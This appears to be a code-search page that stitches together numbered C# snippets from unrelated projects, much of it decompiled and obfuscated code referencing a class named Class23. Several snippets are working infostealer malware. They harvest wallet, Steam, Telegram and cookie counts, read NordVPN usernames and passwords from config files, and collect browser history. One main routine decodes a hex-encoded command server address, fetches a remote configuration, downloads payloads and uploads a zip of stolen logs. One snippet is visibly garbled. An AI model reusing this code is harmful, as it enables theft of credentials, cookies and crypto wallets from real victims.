コード例 #1
0
    // Token: 0x060005AF RID: 1455 RVA: 0x00027380 File Offset: 0x00025580
    public static Enum3 smethod_1(Type type_0, out bool bool_0)
    {
        Enum3 result;

        if (Class23.dictionary_0.TryGetValue(type_0, out result))
        {
            bool_0 = false;
            return(result);
        }
        if (type_0.smethod_8())
        {
            bool_0 = true;
            return(Class23.smethod_0(Enum.GetUnderlyingType(type_0)));
        }
        if (Class90.smethod_11(type_0))
        {
            Type underlyingType = Nullable.GetUnderlyingType(type_0);
            if (underlyingType.smethod_8())
            {
                Type type_ = typeof(Nullable <>).MakeGenericType(new Type[]
                {
                    Enum.GetUnderlyingType(underlyingType)
                });
                bool_0 = true;
                return(Class23.smethod_0(type_));
            }
        }
        bool_0 = false;
        return((Enum3)1);
    }
コード例 #2
0
    // Token: 0x060000FF RID: 255 RVA: 0x00006F30 File Offset: 0x00005130
    public static void smethod_3(object[] object_0)
    {
        string text  = (string)object_0[0];
        Guid   guid_ = (Guid)object_0[1];
        Guid   guid  = (Guid)object_0[2];

        if (Class8.dictionary_2.ContainsKey(text))
        {
            return;
        }
        Client client = Class8.smethod_39();

        Class8.dictionary_2.Add(text, client);
        GClass3 gclass3_ = null;

        if (!(guid == Guid.Empty))
        {
            gclass3_ = Class23.smethod_1(guid).gclass3_0;
        }
        client.method_31(new GClass0());
        client.method_30().method_0(guid_, text, gclass3_);
        client.method_4(new Client.GDelegate4(Class8.smethod_78));
        client.method_6(new Client.GDelegate2(Class8.smethod_77));
        client.method_2(new Client.GDelegate7(Class8.smethod_79));
        client.method_14(new Client.GDelegate9(Class8.smethod_81));
        client.method_44(Class8.smethod_65(), Class24.smethod_6());
    }
コード例 #3
0
ファイル: UnitTest23.cs プロジェクト: AkshantVats/Learning
        public void Test4()
        {
            int expected = 3;
            var actual   = Class23.FloorSquareRoot(9);

            Assert.Equal(expected, actual);
        }
コード例 #4
0
    // Token: 0x060005E2 RID: 1506 RVA: 0x000294B0 File Offset: 0x000276B0
    private static bool smethod_19(Struct8 struct8_0, out long long_1, out TimeSpan timeSpan_0, out DateTimeKind dateTimeKind_0)
    {
        dateTimeKind_0 = DateTimeKind.Utc;
        int num = struct8_0.smethod_0('+', 7, struct8_0.method_2() - 8);

        if (num == -1)
        {
            num = struct8_0.smethod_0('-', 7, struct8_0.method_2() - 8);
        }
        if (num != -1)
        {
            dateTimeKind_0 = DateTimeKind.Local;
            if (!Class25.smethod_23(struct8_0, num + struct8_0.method_1(), out timeSpan_0))
            {
                long_1 = 0L;
                return(false);
            }
        }
        else
        {
            timeSpan_0 = TimeSpan.Zero;
            num        = struct8_0.method_2() - 2;
        }
        return(Class23.smethod_15(struct8_0.method_0(), 6 + struct8_0.method_1(), num - 6, out long_1) == (Enum4)1);
    }
コード例 #5
0
 public static void smethod_0()
 {
     Class24.class23_0 = null;
     Class24.class23_1 = null;
     Class24.class23_2 = null;
     Class24.class23_3 = null;
     Class24.class25_0 = null;
     Class24.class25_1 = null;
 }
コード例 #6
0
        // Token: 0x06000219 RID: 537 RVA: 0x0001076C File Offset: 0x0000E96C
        public static void smethod_0()
        {
            if (Directory.Exists(GClass9.string_6 + "\\Wallets"))
            {
                GClass9.list_0.Add("[✅] Crypto");
            }
            string value;

            if (Environment.Is64BitOperatingSystem)
            {
                value = "x64";
            }
            else
            {
                value = "x32";
            }
            string value2  = Class23.smethod_2();
            string value3  = Class27.smethod_2("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");
            string value4  = "0";
            string value5  = Convert.ToString(Class21.int_0);
            string value6  = Class25.int_0.ToString();
            string value7  = "0";
            string value8  = Convert.ToString(Class15.int_0);
            string value9  = "0";
            string value10 = "0";

            Convert.ToString(Class26.int_0);
            if (Directory.Exists(GClass9.string_6 + "\\Wallets"))
            {
                value10 = new DirectoryInfo(GClass9.string_6 + "\\Wallets").GetDirectories().Length.ToString();
            }
            if (Directory.Exists(GClass9.string_6 + "\\Steam"))
            {
                value9 = "1";
            }
            if (Directory.Exists(GClass9.string_6 + "\\Telegram"))
            {
                value7 = "1";
            }
            if (Directory.Exists(GClass9.string_6 + "\\Desktop"))
            {
                new DirectoryInfo(GClass9.string_6 + "\\Desktop").GetFiles().Length.ToString();
            }
            Class27.nameValueCollection_0.Add("hwid", value2);
            Class27.nameValueCollection_0.Add("os", value3);
            Class27.nameValueCollection_0.Add("platform", value);
            Class27.nameValueCollection_0.Add("profile", value4);
            Class27.nameValueCollection_0.Add("user", Environment.UserName);
            Class27.nameValueCollection_0.Add("passwordsCount", value5);
            Class27.nameValueCollection_0.Add("cccount", value6);
            Class27.nameValueCollection_0.Add("ccount", value10);
            Class27.nameValueCollection_0.Add("fcount", "null");
            Class27.nameValueCollection_0.Add("telegram", value7);
            Class27.nameValueCollection_0.Add("cookies", value8);
            Class27.nameValueCollection_0.Add("steam", value9);
        }
コード例 #7
0
ファイル: Class13.cs プロジェクト: 1833183060/autocad-dev
    internal Class23 method_13()
    {
        Class23 @class = new Class23();

        @class.method_1(this.class25_2);
        @class.method_3(this.class25_0);
        @class.method_4()[0] = this;
        @class.method_4()[1] = this.class13_0[1];
        return(@class);
    }
コード例 #8
0
 public static void smethod_1(string string_2)
 {
     RSAKey.init("(zB0F6]1(6RCw70lGQY7hA`uORr=5eE8AT<Dsa%@2>{ImO1Cs~3vi\"7&'oQ=j,H");
     Class24.string_0 = RSAKey.GetKeys(Class1.string_3);
     if (Class1.string_10 == "" && Class1.string_11 == "")
     {
         Class24.class23_4 = new Class23(Class24.string_0[0], 16);
         Class24.class23_5 = new Class23(Class24.string_0[1], 16);
     }
     else
     {
         Class24.class23_4 = new Class23(Class1.string_10, 16);
         Class24.class23_5 = new Class23(Class1.string_11, 16);
     }
     Class24.int_0 = Class24.smethod_7();
     Class24.string_1 = string_2;
     string text = Class6.smethod_3("url.prefix", false) + "/gamedata/supersecret?token=";
     if (Class1.string_9 != "")
     {
         text = Class1.string_9;
     }
     WebRequest webRequest = WebRequest.Create(text + string_2);
     webRequest.Headers[HttpRequestHeader.Cookie] = Class1.string_0;
     ((HttpWebRequest)webRequest).UserAgent = Class1.string_1;
     WebResponse response = webRequest.GetResponse();
     Image original = Image.FromStream(response.GetResponseStream());
     Bitmap bitmap = new Bitmap(original);
     int width = bitmap.Width;
     int height = bitmap.Height;
     Debug.WriteLine(text);
     int num = 0;
     byte[] array = new byte[width * height * 4];
     for (int i = 0; i < height; i++)
     {
         for (int j = 0; j < width; j++)
         {
             int num2 = bitmap.GetPixel(j, i).ToArgb();
             array[num++] = (byte)(num2 >> 24 & 255);
             array[num++] = (byte)(num2 >> 16 & 255);
             array[num++] = (byte)(num2 >> 8 & 255);
             array[num++] = (byte)(num2 & 255);
         }
     }
     string text2 = Class24.smethod_6(Class24.smethod_5(array), string_2);
     int num3 = (int)text2[0];
     text2 = text2.Substring(1);
     string value = text2.Substring(0, num3);
     text2 = text2.Substring(num3);
     int length = (int)text2[0];
     text2 = text2.Substring(1);
     string value2 = text2.Substring(0, length);
     Class24.class23_0 = new Class23(value, 10);
     Class24.class23_1 = new Class23(value2, 10);
     Class24.smethod_4();
 }
コード例 #9
0
    public void BeginSendFile(string accepterID, Stream stream, string projectName, ulong size, string comment, SendingFileParas paras, out string projectID)
    {
        if (accepterID == null)
        {
            accepterID = "_0";
        }
        projectID = Class23.smethod_0(this.string_0);
        this.fblKqUhvkd.imethod_6(accepterID, stream, projectName, size, projectID, paras, comment);
        BeginSendFileContract body       = new BeginSendFileContract(projectName, false, size, DateTime.Now, comment, projectID);
        IMessageHandler       interface2 = this.interface9_0.imethod_4 <BeginSendFileContract>(this.string_0, this.fileMessageTypeRoom_0.BeginSendFile, body, accepterID);

        this.SendMessage(interface2, false);
    }
コード例 #10
0
        private static string smethod_5(string string_0, Encoding encoding_0)
        {
            int     length = string_0.Length;
            Class23 class2 = new Class23(length, encoding_0);

            for (int i = 0; i < length; i++)
            {
                char ch = string_0[i];
                if (ch == '+')
                {
                    ch = ' ';
                }
                else if ((ch == '%') && (i < (length - 2)))
                {
                    if ((string_0[i + 1] == 'u') && (i < (length - 5)))
                    {
                        int num3 = smethod_6(string_0[i + 2]);
                        int num4 = smethod_6(string_0[i + 3]);
                        int num5 = smethod_6(string_0[i + 4]);
                        int num6 = smethod_6(string_0[i + 5]);
                        if (((num3 < 0) || (num4 < 0)) || ((num5 < 0) || (num6 < 0)))
                        {
                            goto Label_0106;
                        }
                        ch = (char)((((num3 << 12) | (num4 << 8)) | (num5 << 4)) | num6);
                        i += 5;
                        class2.method_1(ch);
                        continue;
                    }
                    int num7 = smethod_6(string_0[i + 1]);
                    int num8 = smethod_6(string_0[i + 2]);
                    if ((num7 >= 0) && (num8 >= 0))
                    {
                        byte num9 = (byte)((num7 << 4) | num8);
                        i += 2;
                        class2.method_0(num9);
                        continue;
                    }
                }
Label_0106:
                if ((ch & 0xff80) == 0)
                {
                    class2.method_0((byte)ch);
                }
                else
                {
                    class2.method_1(ch);
                }
            }
            return(class2.method_3());
        }
コード例 #11
0
    // Token: 0x060001EC RID: 492 RVA: 0x0000FC54 File Offset: 0x0000DE54
    public static List <Class24> smethod_1()
    {
        List <Class24> list = new List <Class24>();

        foreach (string string_ in Dirs.BrowsHistory)
        {
            List <Class24> list2 = Class23.smethod_2(string_);
            if (list2 != null)
            {
                list.AddRange(list2);
            }
        }
        return(list);
    }
コード例 #12
0
        public void Test_Class23()
        {
            var instance = new Harmony("test");

            Assert.NotNull(instance, "instance");

            var processor = new PatchClassProcessor(instance, typeof(Class23));

            Assert.NotNull(processor, "processor");
            _ = processor.Patch();

            Class23.bool1 = null;
            Class23.Method23();

            Assert.NotNull(Class23.bool1, "bool1");
            Assert.IsTrue(Class23.bool1.Value, "bool1.Value");
        }
コード例 #13
0
    // Token: 0x0600001E RID: 30 RVA: 0x000033C4 File Offset: 0x000015C4
    public static void smethod_4(object[] object_0)
    {
        List <GClass2> list = new List <GClass2>();
        int            num  = 0;
        int            num2 = object_0.Length - 1;

        for (int i = num; i <= num2; i += 5)
        {
            GClass2 gclass = new GClass2();
            gclass.guid_0     = (Guid)object_0[i];
            gclass.dateTime_0 = (DateTime)object_0[i + 1];
            gclass.string_0   = (string)object_0[i + 2];
            gclass.bool_0     = (bool)object_0[i + 3];
            gclass.byte_0     = (byte[])object_0[i + 4];
            gclass.byte_1     = Class27.smethod_2(gclass.byte_0);
            Class8.list_2.Add(gclass);
            list.Add(gclass);
            if (gclass.bool_0)
            {
                Class5.bool_1 = true;
            }
        }
        if (Class5.bool_1)
        {
            Class8.smethod_7();
        }
        if (Class5.bool_0)
        {
            Class8.smethod_41();
            return;
        }
        Class8.smethod_87("Loading plugins..");
        try
        {
            foreach (GClass2 gclass2 in list)
            {
                Class23.smethod_0(gclass2.byte_0, gclass2);
            }
        }
        finally
        {
            List <GClass2> .Enumerator enumerator;
            ((IDisposable)enumerator).Dispose();
        }
        Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 3, new object[0]);
    }
コード例 #14
0
ファイル: Class23.cs プロジェクト: x1234xx/MoistStealer
 // Token: 0x0600023B RID: 571 RVA: 0x000124B8 File Offset: 0x000106B8
 public static void smethod_0(string string_1)
 {
     try
     {
         if (Directory.Exists(Help.LocalData + "\\NordVPN\\"))
         {
             Directory.CreateDirectory(string_1 + Class23.string_0);
             using (StreamWriter streamWriter = new StreamWriter(string_1 + Class23.string_0 + "\\Account.log"))
             {
                 DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Help.LocalData, "NordVPN"));
                 if (directoryInfo.Exists)
                 {
                     DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*");
                     for (int i = 0; i < directories.Length; i++)
                     {
                         foreach (DirectoryInfo directoryInfo2 in directories[i].GetDirectories())
                         {
                             streamWriter.WriteLine("\tFound version " + directoryInfo2.Name);
                             string text = Path.Combine(directoryInfo2.FullName, "user.config");
                             if (File.Exists(text))
                             {
                                 XmlDocument xmlDocument = new XmlDocument();
                                 xmlDocument.Load(text);
                                 string innerText  = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText;
                                 string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText;
                                 if (innerText != null && !string.IsNullOrEmpty(innerText))
                                 {
                                     streamWriter.WriteLine("\t\tUsername: "******"\t\tPassword: " + Class23.smethod_1(innerText2));
                                 }
                                 Class23.int_0++;
                             }
                         }
                     }
                 }
             }
         }
     }
     catch
     {
     }
 }
コード例 #15
0
    // Token: 0x060005BC RID: 1468 RVA: 0x00027AE4 File Offset: 0x00025CE4
    public static bool smethod_13(object object_0)
    {
        switch (Class23.smethod_0(object_0.GetType()))
        {
        case (Enum3)6:
        case (Enum3)8:
        case (Enum3)10:
        case (Enum3)12:
        case (Enum3)14:
        case (Enum3)16:
        case (Enum3)18:
        case (Enum3)20:
            return(true);

        default:
            return(false);
        }
    }
コード例 #16
0
    // Token: 0x060005B9 RID: 1465 RVA: 0x00027A1C File Offset: 0x00025C1C
    public static object smethod_10(object object_0, object object_1, Type type_0)
    {
        if (type_0 == typeof(object))
        {
            return(object_0);
        }
        if (object_0 == null && Class90.smethod_10(type_0))
        {
            return(null);
        }
        object result;

        if (Class23.TryConvert(object_0, object_1, type_0, out result))
        {
            return(result);
        }
        return(Class23.smethod_11(object_0, Class90.smethod_3(object_0), type_0));
    }
コード例 #17
0
    // Token: 0x060001EB RID: 491 RVA: 0x0000FB9C File Offset: 0x0000DD9C
    public static void smethod_0()
    {
        string         text = "";
        List <Class24> list = Class23.smethod_1();

        foreach (Class24 @class in list)
        {
            text += @class.ToString();
        }
        if (text != "")
        {
            if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
            {
                Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
            }
            File.WriteAllText(Dirs.WorkDir + "\\Browsers\\History.txt", text, Encoding.Default);
        }
    }
コード例 #18
0
    // Token: 0x060000FE RID: 254 RVA: 0x00006EC4 File Offset: 0x000050C4
    public static void smethod_2(Guid guid_0, object[] object_0)
    {
        GClass2 gclass = Class23.smethod_1(guid_0);

        if (gclass != null)
        {
            try
            {
                gclass.gclass3_0.method_7(null, object_0);
                return;
            }
            catch (Exception exception_)
            {
                Class8.smethod_85(gclass.gclass3_0, exception_, "ReadPacket []");
                return;
            }
        }
        throw new Exception(string.Format("No instance of plugin '{0}' could be found.", guid_0));
    }
コード例 #19
0
        private static string smethod_4(byte[] byte_0, int int_0, int int_1, Encoding encoding_0)
        {
            Class23 class2 = new Class23(int_1, encoding_0);

            for (int i = 0; i < int_1; i++)
            {
                int  index = int_0 + i;
                byte num3  = byte_0[index];
                if (num3 == 0x2b)
                {
                    num3 = 0x20;
                }
                else if ((num3 == 0x25) && (i < (int_1 - 2)))
                {
                    if ((byte_0[index + 1] == 0x75) && (i < (int_1 - 5)))
                    {
                        int num4 = smethod_6((char)byte_0[index + 2]);
                        int num5 = smethod_6((char)byte_0[index + 3]);
                        int num6 = smethod_6((char)byte_0[index + 4]);
                        int num7 = smethod_6((char)byte_0[index + 5]);
                        if (((num4 < 0) || (num5 < 0)) || ((num6 < 0) || (num7 < 0)))
                        {
                            goto Label_00DA;
                        }
                        char ch = (char)((((num4 << 12) | (num5 << 8)) | (num6 << 4)) | num7);
                        i += 5;
                        class2.method_1(ch);
                        continue;
                    }
                    int num8 = smethod_6((char)byte_0[index + 1]);
                    int num9 = smethod_6((char)byte_0[index + 2]);
                    if ((num8 >= 0) && (num9 >= 0))
                    {
                        num3 = (byte)((num8 << 4) | num9);
                        i   += 2;
                    }
                }
Label_00DA:
                class2.method_0(num3);
            }
            return(class2.method_3());
        }
コード例 #20
0
ファイル: MainWindow.cs プロジェクト: unionjl/CyberAIO
    // Token: 0x0600006F RID: 111 RVA: 0x0000A3CC File Offset: 0x000085CC
    private void method_2(object sender, LoadCompletedEventArgs e)
    {
        this.method_1();
        Class68.smethod_1();
        MainWindow.captchaQueue_V1_0 = new CaptchaQueue_V1(true);
        Class68.smethod_6();
        Class68.smethod_7();
        Class68.smethod_8();
        Class68.smethod_5(null, null);
        bool isAttached = Debugger.IsAttached;

        Licenser.smethod_9();
        Class168.jobject_3 = JObject.Parse(MainWindow.webView_0.QueueScriptCall("JSON.stringify(window.Countries)").smethod_0());
        Class23.smethod_0();
        base.Opacity = 0.0;
        base.Show();
        this.timer_0.Interval = 10;
        this.timer_0.Tick    += this.timer_0_Tick;
        this.timer_0.Start();
    }
コード例 #21
0
 // Token: 0x06000725 RID: 1829 RVA: 0x0002DE30 File Offset: 0x0002C030
 public static bool smethod_0(object object_0, object object_1)
 {
     if (object_0 == object_1)
     {
         return(true);
     }
     if (object_0 == null || object_1 == null)
     {
         return(false);
     }
     if (!(object_0.GetType() != object_1.GetType()))
     {
         return(object_0.Equals(object_1));
     }
     if (Class23.smethod_13(object_0) && Class23.smethod_13(object_1))
     {
         return(Convert.ToDecimal(object_0, CultureInfo.CurrentCulture).Equals(Convert.ToDecimal(object_1, CultureInfo.CurrentCulture)));
     }
     return((object_0 is double || object_0 is float || object_0 is decimal) && (object_1 is double || object_1 is float || object_1 is decimal) && Class79.smethod_5(Convert.ToDouble(object_0, CultureInfo.CurrentCulture), Convert.ToDouble(object_1, CultureInfo.CurrentCulture)));
 }
コード例 #22
0
    // Token: 0x0600006F RID: 111 RVA: 0x0000ADF4 File Offset: 0x00008FF4
    private void method_2(object sender, LoadCompletedEventArgs e)
    {
        this.method_1();
        Class68.smethod_1();
        GForm1.gform7_0 = new GForm7(true);
        Class68.smethod_6();
        Class68.smethod_7();
        Class68.smethod_8();
        Class68.smethod_5(null, null);
        bool isAttached = Debugger.IsAttached;

        GForm3.smethod_9();
        Class173.jobject_3 = JObject.Parse(GForm1.webView_0.QueueScriptCall(Class185.smethod_0(537707460)).smethod_0());
        Class23.smethod_0();
        base.Opacity = 0.0;
        base.Show();
        this.timer_0.Interval = 10;
        this.timer_0.Tick    += this.timer_0_Tick;
        this.timer_0.Start();
    }
コード例 #23
0
ファイル: Class152.cs プロジェクト: jkoxo123/Desktop
    // Token: 0x06000661 RID: 1633 RVA: 0x000383C8 File Offset: 0x000365C8
    private Class2 method_10(bool bool_2)
    {
        if (!this.bool_0)
        {
            bool flag = this.bool_1 || this.symmetricAlgorithm_0 == null;
            if (this.symmetricAlgorithm_0 == null)
            {
                this.symmetricAlgorithm_0 = Class152.smethod_0();
                if (this.symmetricAlgorithm_0 == null)
                {
                    this.bool_0 = true;
                }
            }
            if (this.symmetricAlgorithm_0 != null)
            {
                if (flag)
                {
                    this.symmetricAlgorithm_0.Key     = this.method_4();
                    this.symmetricAlgorithm_0.IV      = this.method_6();
                    this.symmetricAlgorithm_0.Mode    = Class152.smethod_1(this.method_0());
                    this.symmetricAlgorithm_0.Padding = Class152.smethod_2(this.method_2());
                }
                return(new Class4(bool_2 ? this.symmetricAlgorithm_0.CreateEncryptor() : this.symmetricAlgorithm_0.CreateDecryptor()));
            }
        }
        Class73 interface1_ = new Class73(new Class151());
        Class22 @class;

        if (this.method_2() != (Enum1)1)
        {
            @class = new Class23(interface1_, Class152.smethod_3(this.method_2()));
        }
        else
        {
            @class = new Class22(interface1_);
        }
        Class25 interface6_ = new Class25(new Class188(this.method_4()), this.method_6());

        @class.imethod_1(bool_2, interface6_);
        return(new Class3(@class));
    }
コード例 #24
0
    // Token: 0x060005B6 RID: 1462 RVA: 0x00027684 File Offset: 0x00025884
    public static object smethod_8(object object_0, object object_1, Type type_0)
    {
        object result;

        switch (Class23.smethod_9(object_0, object_1, type_0, out result))
        {
        case (Class23.Enum5) 0:
            return(result);

        case (Class23.Enum5) 1:
            throw new Exception("Can not convert null {0} into non-nullable {1}.".smethod_1(CultureInfo.InvariantCulture, object_0.GetType(), type_0));

        case (Class23.Enum5) 2:
            throw new ArgumentException("Target type {0} is not a value type or a non-abstract class.".smethod_0(CultureInfo.InvariantCulture, type_0), "targetType");

        case (Class23.Enum5) 3:
            throw new InvalidOperationException("Can not convert from {0} to {1}.".smethod_1(CultureInfo.InvariantCulture, object_0.GetType(), type_0));

        default:
            throw new InvalidOperationException("Unexpected conversion result.");
        }
    }
コード例 #25
0
    // Token: 0x0600068B RID: 1675 RVA: 0x0002B7D8 File Offset: 0x000299D8
    private static ulong smethod_6(object object_0)
    {
        bool flag;

        switch (Class23.smethod_1(object_0.GetType(), out flag))
        {
        case (Enum3)2:
            return((ulong)((char)object_0));

        case (Enum3)4:
            return((ulong)Convert.ToByte((bool)object_0));

        case (Enum3)6:
            return((ulong)((long)((sbyte)object_0)));

        case (Enum3)8:
            return((ulong)((long)((short)object_0)));

        case (Enum3)10:
            return((ulong)((ushort)object_0));

        case (Enum3)12:
            return((ulong)((long)((int)object_0)));

        case (Enum3)14:
            return((ulong)((byte)object_0));

        case (Enum3)16:
            return((ulong)((uint)object_0));

        case (Enum3)18:
            return((ulong)((long)object_0));

        case (Enum3)20:
            return((ulong)object_0);
        }
        throw new InvalidOperationException("Unknown enum type.");
    }
コード例 #26
0
    // Token: 0x060005B7 RID: 1463 RVA: 0x00027714 File Offset: 0x00025914
    private static bool TryConvert(object initialValue, object culture, Type targetType, out object value)
    {
        bool result;

        try
        {
            if (Class23.smethod_9(initialValue, culture, targetType, out value) == (Class23.Enum5) 0)
            {
                result = true;
            }
            else
            {
                value  = null;
                result = false;
            }
        }
        catch
        {
            value  = null;
            result = false;
        }
        return(result);
    }
コード例 #27
0
    public void BeginSendFile(string accepterID, string fileOrDirPath, string comment, SendingFileParas paras, out string projectID)
    {
        bool flag;

        if (accepterID == null)
        {
            accepterID = "_0";
        }
        if (!(flag = Directory.Exists(fileOrDirPath)))
        {
            FileStream stream = File.Open(fileOrDirPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
            stream.Close();
            stream.Dispose();
        }
        projectID = Class23.smethod_0(this.string_0);
        FileSystemInfo info          = null;
        ulong          directorySize = 0L;

        if (flag)
        {
            info          = new DirectoryInfo(fileOrDirPath);
            directorySize = FileHelper.GetDirectorySize(fileOrDirPath);
        }
        else
        {
            info          = new FileInfo(fileOrDirPath);
            directorySize = (ulong)((FileInfo)info).Length;
        }
        string fullName = info.FullName;

        this.fblKqUhvkd.imethod_5(accepterID, fullName, flag, directorySize, info.LastWriteTime, projectID, paras, comment);
        BeginSendFileContract body       = new BeginSendFileContract(fullName, flag, directorySize, info.LastWriteTime, comment, projectID);
        IMessageHandler       interface2 = this.interface9_0.imethod_4 <BeginSendFileContract>(this.string_0, this.fileMessageTypeRoom_0.BeginSendFile, body, accepterID);

        this.SendMessage(interface2, false);
    }
コード例 #28
0
    // Token: 0x060005E7 RID: 1511 RVA: 0x00029678 File Offset: 0x00027878
    private static bool smethod_23(Struct8 struct8_0, int int_2, out TimeSpan timeSpan_0)
    {
        bool flag = struct8_0[int_2] == '-';
        int  num;

        if (Class23.smethod_14(struct8_0.method_0(), int_2 + 1, 2, out num) != (Enum4)1)
        {
            timeSpan_0 = default(TimeSpan);
            return(false);
        }
        int num2 = 0;

        if (struct8_0.method_2() - int_2 > 5 && Class23.smethod_14(struct8_0.method_0(), int_2 + 3, 2, out num2) != (Enum4)1)
        {
            timeSpan_0 = default(TimeSpan);
            return(false);
        }
        timeSpan_0 = TimeSpan.FromHours((double)num) + TimeSpan.FromMinutes((double)num2);
        if (flag)
        {
            timeSpan_0 = timeSpan_0.Negate();
        }
        return(true);
    }
コード例 #29
0
 public static Class23 smethod_24(Class23 class23_0, Class23 class23_1)
 {
     Class23 class23_2 = new Class23();
        Class23 @class = new Class23(class23_0);
        int num = 499;
        bool flag = false;
        if ((class23_0.uint_0[499] & 2147483648u) != 0u)
        {
        class23_0 = Class23.smethod_14(class23_0);
        flag = true;
        }
        if ((class23_1.uint_0[num] & 2147483648u) != 0u)
        {
        class23_1 = Class23.smethod_14(class23_1);
        }
        Class23 result;
        if (Class23.smethod_18(class23_0, class23_1))
        {
        result = @class;
        }
        else
        {
        if (class23_1.int_2 == 1)
        {
            Class23.smethod_22(class23_0, class23_1, class23_2, @class);
        }
        else
        {
            Class23.smethod_21(class23_0, class23_1, class23_2, @class);
        }
        if (flag)
        {
            result = Class23.smethod_14(@class);
        }
        else
        {
            result = @class;
        }
        }
        return result;
 }
コード例 #30
0
 public Class23 method_19(int int_3, Class31 class31_0)
 {
     bool flag = false;
        Class23 @class = new Class23();
        while (!flag)
        {
        @class.method_8(int_3, class31_0);
        Class23 class2 = @class.method_7(this);
        if (class2.int_2 == 1 && class2.uint_0[0] == 1u)
        {
            flag = true;
        }
        }
        return @class;
 }
コード例 #31
0
 public static bool smethod_20(Class23 class23_0, Class23 class23_1)
 {
     return Class23.smethod_15(class23_0, class23_1) || Class23.smethod_18(class23_0, class23_1);
 }
コード例 #32
0
        // Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0
        private static void Main(string[] args)
        {
            Class9.smethod_0();
            Class9.smethod_1();
            Class9.smethod_2();
            string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ";

            byte[] byte_   = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275");
            byte[] bytes   = Encoding.Default.GetBytes(Class11.smethod_2(string_));
            string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_));

            byte[] bytes2 = Encoding.Default.GetBytes(@string);
            GClass9.smethod_0();
            Class23.smethod_5(Class23.string_0);
            GClass9.smethod_1();
            string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[]
            {
                ','
            });
            bool flag   = false;
            bool flag2  = false;
            bool flag3  = false;
            bool flag4  = false;
            bool flag5  = false;
            bool flag6  = false;
            bool flag7  = false;
            bool flag8  = false;
            bool flag9  = false;
            bool flag10 = false;
            bool flag11 = false;

            if (array[12] == "1")
            {
                flag8 = true;
            }
            if (!flag8)
            {
                Class12.smethod_5();
            }
            if (array[0] == "1")
            {
                flag = true;
            }
            if (array[1] == "1")
            {
                flag4 = true;
            }
            if (array[2] == "1")
            {
                flag5 = true;
            }
            if (array[3] == "1")
            {
                flag11 = true;
            }
            if (array[4] == "1")
            {
                flag2 = true;
            }
            if (array[5] == "1")
            {
                flag6 = true;
            }
            if (array[6] == "1")
            {
                flag10 = true;
            }
            if (array[7] == "1")
            {
                flag3 = true;
            }
            if (array[10] == "1")
            {
                flag9 = true;
            }
            if (array[11].StartsWith("http"))
            {
                flag7 = true;
            }
            if (flag7)
            {
                string text     = array[11];
                string fileName = Path.GetFileName(text);
                Class20.smethod_0(text, fileName);
            }
            if (flag)
            {
                Class13.smethod_3();
                Class21.smethod_0();
            }
            if (flag5)
            {
                Class18.smethod_0();
            }
            if (flag7)
            {
                string text2     = array[11];
                string fileName2 = Path.GetFileName(text2);
                Class20.smethod_0(text2, fileName2);
            }
            if (flag2)
            {
                Class17.smethod_10();
            }
            if (flag6)
            {
                Class17.smethod_6();
            }
            if (flag4)
            {
                Class15.smethod_0();
                Class13.smethod_2();
                Class25.smethod_9();
            }
            if (flag11)
            {
                Class17.smethod_5(GClass9.string_2);
            }
            if (flag3)
            {
                foreach (string item in array[8].Split(new char[]
                {
                    ':'
                }))
                {
                    Class17.list_0.Add(item);
                }
                Class17.int_0  = Convert.ToInt32(array[9]);
                Class17.int_0 *= 1024;
                Class17.smethod_8();
            }
            if (flag10)
            {
                Class17.smethod_9();
            }
            Class17.smethod_11();
            Class17.smethod_7();
            Class23.smethod_0();
            Class12.smethod_11();
            Class12.smethod_9();
            Class12.smethod_10();
            Class23.smethod_1();
            Class12.smethod_6();
            string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip";

            try
            {
                Class27.smethod_0();
                Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0);
            }
            catch
            {
            }
            if (flag9)
            {
                Class12.smethod_7();
            }
            Class12.smethod_8();
            Directory.Delete(GClass9.string_6);
        }
コード例 #33
0
 public Class23 method_7(Class23 class23_0)
 {
     Class23 @class;
        if ((this.uint_0[499] & 2147483648u) != 0u)
        {
        @class = Class23.smethod_14(this);
        }
        else
        {
        @class = this;
        }
        Class23 class2;
        if ((class23_0.uint_0[499] & 2147483648u) != 0u)
        {
        class2 = Class23.smethod_14(class23_0);
        }
        else
        {
        class2 = class23_0;
        }
        Class23 class3 = class2;
        while (@class.int_2 > 1 || (@class.int_2 == 1 && @class.uint_0[0] != 0u))
        {
        class3 = @class;
        @class = Class23.smethod_24(class2, @class);
        class2 = class3;
        }
        return class3;
 }
コード例 #34
0
 public static Class23 smethod_29(int int_3, int int_4, Class31 class31_0)
 {
     Class23 @class = new Class23();
        bool flag = false;
        while (!flag)
        {
        @class.method_8(int_3, class31_0);
        @class.uint_0[0] |= 1u;
        flag = @class.method_15(int_4);
        }
        return @class;
 }
コード例 #35
0
 public Class23 method_2()
 {
     Class23 result;
        if ((this.uint_0[499] & 2147483648u) != 0u)
        {
        result = Class23.smethod_14(this);
        }
        else
        {
        result = new Class23(this);
        }
        return result;
 }
コード例 #36
0
 public Class23(Class23 bi)
 {
     this.uint_0 = new uint[500];
        this.int_2 = bi.int_2;
        for (int i = 0; i < this.int_2; i++)
        {
        this.uint_0[i] = bi.uint_0[i];
        }
 }
コード例 #37
0
 public Class23(string value, int radix)
 {
     Class23 class23_ = new Class23(1L);
